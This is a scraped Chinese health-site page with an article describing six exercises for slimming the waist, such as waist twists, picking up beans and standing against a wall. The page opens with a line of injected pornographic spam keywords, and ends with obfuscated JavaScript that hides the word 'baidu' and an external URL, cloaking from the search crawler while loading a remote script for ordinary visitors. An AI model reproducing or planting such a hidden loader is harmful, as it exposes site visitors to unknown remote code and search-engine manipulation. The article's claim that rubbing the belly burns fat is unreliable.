亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

減掉大肚腩 常做這六個(gè)動(dòng)作

2017-03-09 08:39:46  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:還在為大肚腩煩惱?下編就教您幾個(gè)簡(jiǎn)單有效的瘦腰的動(dòng)作,如撿豆子,每天倒200粒黃豆在地上,彎腰但腿不能彎,一粒一粒地把黃豆撿起放到桌子的盆子里,動(dòng)作簡(jiǎn)單,而且非常實(shí)用,關(guān)鍵是要堅(jiān)持,堅(jiān)持下來一定可以成功瘦腰。

如何減肚子是很多白領(lǐng)迫切要解決的問題,因?yàn)榘最I(lǐng)每天大部分時(shí)間都在辦公室度過,每天平均坐八個(gè)小時(shí),加上少運(yùn)動(dòng),導(dǎo)致腰部越來越寬,衣服越穿越大,水桶腰困擾著很多女性朋友,趕緊來看看這些瘦腰的動(dòng)作吧。

站立扭腰

可以是中午或者是晚上練習(xí)。站立左右扭腰100下(類似肚皮舞的扭腰動(dòng)作,要借助腰部用力,而不是腿部或者是背部力量),只要每天都堅(jiān)持。

撿豆子

重復(fù)這樣的動(dòng)作:彎腰——直起腰板——放豆子到桌面——再彎腰——再撿豆子……堅(jiān)持一兩個(gè)月,不僅腰變瘦了,可能臀部和腿部也有意想不到的驚喜呢。

靠墻站

同樣地晚餐要盡量少吃,而且吃得清淡。還是晚飯后半個(gè)小時(shí),夾緊臀部,把整個(gè)背部緊貼在墻壁上,臀部、背部、腿部、腰部、頭、脖子等都盡量貼緊墻面。幾分鐘后腰就會(huì)很很累,堅(jiān)持15分鐘。每天做一次。

隨時(shí)隨地縮小腹

每當(dāng)你站立或是坐在椅子上的時(shí)候,一定要將背脊打直,擁有良好的儀態(tài)能夠幫你避免脂肪不正常地堆積。再接著腹部稍微用力,持續(xù)地將小腹收緊就對(duì)了。

順時(shí)針撫摸

對(duì)肚子的撫摸也是很不錯(cuò)的選擇的,記得,右手稍用力地按在自己肥肉的地方,然后可以大面積也可以小面積地?fù)崦抢锏姆嗜?,順時(shí)針。過一會(huì)兒后,再加大一點(diǎn)點(diǎn)力度,這樣再撫摸。慢慢地把力加大,最后撫摸到肚子的肉,有很強(qiáng)烈的熾熱感后可以停了,這是為了燃脂哦。

瘦腰動(dòng)作

1.身體平躺在地面,腳掌著地并曲膝,臀部用力將骨盆抬起,速度要慢。骨盆高度至脊椎拉成一條直線,反復(fù)20上,或感到臀部微酸即可。

2.四肢支撐地面,將左腿向后伸直,左腿上抬令臀部集中用力。上舉無需太高,與身體成一直線即可,注意腹部要稍微收斂,以免傷及下脊椎,反復(fù)約2o次。完成后換右腿再重復(fù)一次。

注意:

1、此組動(dòng)作難度較大,但是效果明顯。所以在練習(xí)的時(shí)候,需視個(gè)人體力而進(jìn)行。初習(xí)者每個(gè)步驟動(dòng)作做10次即可,然后視適應(yīng)程度遞加。

2、除了呼吸上要配合之外,運(yùn)動(dòng)時(shí)可將肌肉拉伸的動(dòng)作在空中緩慢停留,達(dá)到更佳效果。

溫馨提示:瘦腰操,要堅(jiān)持每天練習(xí),不能三心二意的練,長(zhǎng)期練習(xí),腰部上的贅肉會(huì)很輕松的減下去,mm們鍛煉起來吧。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}